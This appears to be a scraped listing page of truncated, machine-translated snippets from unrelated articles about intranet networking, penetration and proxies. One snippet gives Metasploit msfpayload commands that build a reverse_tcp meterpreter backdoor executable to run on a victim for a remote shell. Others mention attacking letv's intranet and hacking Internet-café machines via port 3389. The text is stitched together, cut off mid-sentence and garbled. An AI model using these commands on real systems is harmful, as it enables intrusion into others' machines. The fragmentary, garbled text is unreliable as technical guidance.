linchpin intranet

Due to the limited number of public network IP address, many ISPs are using a number of intranet users through the proxy and gateway routing shared a public network IP on the Internet, which limits the users on their own computer set up personal website, to achieve in these users to set up a website, the most critical point is that How to the multi-user intranet IP and one of their only share the Internet I

Metasploit penetration test notes (intranet penetration)0x01 reverse the shellFile Generally, msfpayloadis used to generate a backdoor.exe file and upload it to the target machine for execution. You can obtain the meterpreter shell by using a local listener. reverse_tcp/http/https => exe => victim => shell Reverse_tcp Windows: msfpayload windows/meterpreter/reverse_tcp LHOST= Linux (x86) msfpayload linux/x86/meterpreter/reverse_tcp LHOST= Reverse_h

Enterprise Intranet security status quo and problems In modern enterprise informatization construction, the network architecture and scale will be constantly changing according to the enterprise's own business needs. At the same time as the completion of the basic network architecture, various application systems have also begun to be built. The network architecture and application systems are inseparable. When a project involving the entire enterpris

A vulnerability can cause direct letv Intranet attacks Improper configuration direct execution of commands can endanger the entire intranet system. Because the IP address of this vulnerability is not bound to a domain name, that is, not * .letv.com, the public test is about domain names, sobug does not recognize this vulnerability because it does not contain domain names. Do you think this kind of hole sho

access the Internet.DNAT is used to come in from outsideSNAT eg:Iptables-t nat-I POSTROUTING-s 10.1.0.0/24-j SNAT -- to-source 192.168.0.5Map Intranet 10.1 fields to 192.168.0.5You can also do this:Iptables-t nat-I POSTROUTING-s 10.1.0.0/24-j SNAT -- to-source 192.168.0.5-192.168.0.245Map a local IP address to an IP address (attack can be performed ^)The same function in the preceding example: iptables-t nat-I POSTROUTING-s 10.1.0.0/24-j NETMAP -- to

In windows, use openvpn in linux to log on to the Intranet of the remote server, and use linuxopenvpn. Requirement: in some environments with strict network requirements, we are unable to remotely access the company's Intranet in a remote location, which brings us great inconvenience. However, we can achieve it easily through openvpn, next we will introduce it. Note: This experiment is performed when the fi

The following is my personal experience. If you make a mistake, please point it out .! Original Author: smiling assassin Www.OneTian.com Intranet FTP setup-two FTP transmission modes First, let's talk about the environment. The server is in the Intranet, and the external ing is, 85. There are 7 ports in total ,.!Among them, 21 is the FTPServer connection end, 80 is the IIS Web occupation, and 85 is the Ter

I encountered a little trouble in creating projects for mobile companies, The Intranet and Internet of mobile devices are isolated. The Intranet can access the Internet, but the Internet cannot access the Intranet. Our project (BS architecture) is mainly deployed on the Intranet, but some features of the project also

The company does not have fixed IP, need to test the third party asynchronous callback interface (third party server How to find the company intranet machine); Baidu Search for "intranet penetration" results are mostly peanut shells, but this article is sharing the free intranet penetration, the use of FRP tools. The text is CentOS7.4 as the FRP server end, Win7

Many companies or businesses put their Web servers in the intranet and map them on the firewall, turning requests from port 80 to a Web port on the intranet Web server. This security is improved a lot, but does not mean that the Web server hidden in the intranet must be safe, because the Web server itself is still a lot of problems, especially some CG, programs,

I encountered Intranet ARP several times at work. The search method is analyzed as follows: When several servers in a CIDR block cannot access the Internet, it may be an intranet ARP attack. telnet to the layer-3 switch immediately (the layer-2 switch does not work) and use show arp (dis arp for Huawei devices) you can see that the MAC addresses of several IP addresses are the same. After you write down th

Ubuntu installs squid as the Proxy of the intranet. I have a machine named UbuntuLinux, which has a wireless network card and can be used on the Internet. I want to set it as a proxy server so that other machines in the intranet can use it as a proxy for Internet access. 1. install squid in Ubuntu as the Proxy of the intranet. I have a Ubuntu Linux machine that h

Deploying Intranet proxy servers in CentosEnvironment and requirements 10 internal network worker machines, all of which are win7, with the network segment 192.168.1./24, 1 server, and CentOS6 System (dual Nic ). One vro (Dynamic IP, accessing the Internet through the PPPOP account password) and one vswitch with 48 ports. To deploy a CentOS server as a proxy server, the Intranet worker must connect to the n

Make an application that automatically logs on to Windows Server Based on the MAC address in the Intranet. The function is as follows: Make an application that automatically logs on to Windows 2003 based on the MAC address in the Intranet. The function is as follows: The Code is as follows: Function ce_getmac () { If (PHP_ OS = 'winnt ') { $ Return_array = array (); $ Temp_array = array (); $ Mac_addr

Here is just a way of thinking, the Fool-style method occasionally will be more affordable.Sometimes, when you are in an Internet café, the computer room is used in the intranet. Generally speaking, the security of the intranet is poor, in those 3389 ports open, there is no Group Policy restrictions, we can use the following methods to hack the other machine inside the